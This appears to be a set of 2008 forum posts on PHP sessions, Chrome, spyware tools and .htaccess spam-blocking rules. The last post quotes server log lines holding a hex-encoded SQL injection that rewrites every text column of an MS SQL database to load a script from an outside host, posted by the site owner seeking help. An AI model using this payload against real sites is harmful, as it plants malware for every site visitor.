  1. If memory serves SID outputs the session ID as variable=id (PHPSESSID=fd8d8bb54c8e368fc5d831cc02979c38) but once you have started a session you can use session_id(); session_start(); $getsid1 = '?'.SID; $getsid2 = '&'.SID; $postsid = '<input type="hidden" name="PHPSESSID" value="'.session_id().'">
  2. a - Could be a localhost issue b - Only if it is enabled in php.ini c - Just add the SID constant to your urls and you will be fine.
  3. Works fine here. Possibly it's because you have cookies disabled and so the session id is not being carried over. Try this line echo "<p><a href='test2.php?".SID."'>Go to Test2</a></p>";
  4. Yup definately sounds like MyWebSearch. Install something like Spybot or SpywareTerminator and run a scan. They should detect and remove the problem. Obviously spyware doctor's not up to the task.
  5. So it's not even printing out the $_SESSION['myvar'] = 'abracadabra'; variable since thats the only thing being saved in the session?
  6. The Google Chrome logo/icon reminds me of the electronic Simon Says game from the 80s - wikipedia.org/wiki/Simon_(game)
  7. I just tested Firefox 3.1 on a test site and it's a lot faster than the current one. The test site I was on lists Safari as the fastest engine and yes they did test Chrome.
  8. Explain to her that the hard part is only in the initial set up after that it's just maintenance like deleting posts and banning members.
  9. I just had a look at a CSS3 test page in both Chrome and Safari and Chrome doesn't display somethings that Safari does which makes me wonder if either Google is using an old WebKit or if they have messed with it or if Apple just hasn't released an up to date version. The page I tested on was http://www.westciv.com/iphonetests/ I just looked and both browsers claim to be using the same WebKit Chrome: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/ Safari/525.13 Safari: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Oh and just to add that apparently Mozilla has a new Javascript engine that they are introducing in Firefox 3.1 and some claim it may be better than V8 but we shall see. Further Update: - No RSS support neither :|
  10. No Google paid a company to make the new engine for them. To my knowledge the main engine parts of Chrome (the renderer an Javascript engine) are both made by third parties.
  11. Personally I'm not a big fan of leaving computers running 24/7 unless it is working so I've never had an issue with rebooting. And before now I have happily had my desktop (Vista) running for 7 weeks and only turned it off because I had finished what I was doing (I was running it as a test server for one of my scripts).
  12. Thomas Chrome uses Apples WebKit engine for rendering so testing in either Chrome or Safari should give same results. Same as testing in Firefox, Flock or Kmeleon 'should' give the same results. I installed Chrome and was instantly annoyed at their choice of fully skinning it using the Vista theme given that I was on XP at the time. The pages I tested were fast but then so is my Firefox after I tweaked it. To me it looks like each tab is a whole new window which is just docked to the main browser component (which Google pretty much says anyway) hence you get a new entry in your running tasks for each pane. Can't say I was that impressed specially given the very sparse options available. Possibly part of why I don't like it is that is is very different in some ways to what I am used to but then again maybe not. Anyway I cannot see it replacing Firefox on my systems any time soon.
  13. It all depends on what you are after. Smf and phpBB are the two main free forum scripts these days but there are so many other such as Phorum, UNB etc. Have a look at www.opensourcecms.com where you can play with a lot of forum scripts so see which you like best. If you want a powerful, fully fledged, whistles and bells forum then go for SMF. PHPBB for some reason has yet to embrace the world of Ajax for quick editing. If you want a simple but good looking forum try UNB.
  14. Agreed. Had numerous people get exploited due to Fantastico being out of date. I'm contemplating making people either sign up for my newsletter or tick a disclaimer before I let them download Lazarus.
  15. Ah you live and learn. Can you explain what they do?
  16. Yes but in htaccess I would have to do deny from 72.232. deny from 72.233.1. deny from 72.233.2. deny from 72.233.3. and so on.
  17. Shame because LayeredTech owns a damn lot of IP blocks. Would same problem exist if I used SetEnvIf Remote_Host "dedicatedplace.com" getout for the domains? Does that even work same way?
  18. Yup hence my using three. But SpywareTerminator when integrated with ClamAV is pretty damn good.
  19. Just tested and no the syntax does not make a difference.
  20. The order I have them in is what most sites say it should be in. I only added that today as before that I just had a list of deny from ###. It's like the code to stop people reading the htaccess file <Files .htaccess> order allow,deny deny from all </Files> BTW thanks for moving this. I wasn't sure where to put it hence it being where it was.
  21. Your servers blocked the attack anyway because the GET was to long. This is how I discovered them because they were in the error log.
  22. For the past month or so I have noticed that my site has been slow for me. Today I was updating my htaccess file and discovered that if I removed all the deny from my site was fast again. Is there an issue with the deny from? I mean I know there shouldn't be. Here is the anti spam bit from my file # Anti Spam Stuff order allow,deny deny from deny from deny from deny from deny from deny from deny from alfa.inptr.biz deny from apex.dedicatedplace.com deny from .internetserviceteam.com deny from .layeredtech.com deny from not-yet-assigned.draculahosting.com allow from all SetEnvIfNoCase User-Agent "^libwww-perl*" spammer=yes SetEnvIfNoCase User-Agent "^Jakarta*" spammer=yes SetEnvIfNoCase User-Agent "^TrackBack*" spammer=yes SetEnvIfNoCase User-Agent "^USERAGENT$" spammer=yes SetEnvIfNoCase Via pinappleproxy spammer=yes SetEnvIfNoCase Referer tdmpost\.t35\.com spammer=yes SetEnvIfNoCase X-AAAAAAAAAAAA 1 spammer=yes Deny from env=spammer # End Anti Spam Stuff it's only the first block that slows me down. Removing it fixes the speed issue. ps. I'm on Matra.
  23. Given how sloppy Yahoo's spam filtering is why would you want to instantly delete any mail classed as spam? Even the best spam filter gets it wrong sometimes which is why we have junk mail folders.
  24. As has been stated these programs are free but I'd thought I'd add this. I personally use SpywareBlaster - This stops a lot of infection by adding a list of known bad sites to the blocked lists of your web browser Spybot S&D - I use this to immunize as well but I also scan with it once a month SpywareTerminator - I use this to scan once a month and it can integrate with CLamAV so you get a spyware/malware/anti virus scan in one.
  25. I was going through my error logs and noticed some alerts so I downloaded my raw log. I found the following entries (there were more but I'll only post one full and one truncated). So I'm guessing there is an exploit in an old version of either PHP or Apache but can anyone shed any light on it? I have blocked the 2 main IPs using htaccess for now. ool-44c369a7.dyn.optonline.net - - [22/Aug/2008:03:34:39 -0400] "GET /Old/Yahoo/archive.php?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343 0303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C656374 2 0612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73 2 06220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78 7 47970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78 7 47970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D 2 0205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F535441 5 455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 4 32B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31 3 03030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B4043 2 B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372 6 97074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A7322 3 E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F4375 7 2736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C 4 C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" 200 9659 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)" ool-44c369a7.dyn.optonline.net - - [22/Aug/2008:03:34:39 -0400] "GET /Old/Yahoo/archive.php?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343 <snip> C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" 200 9280 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
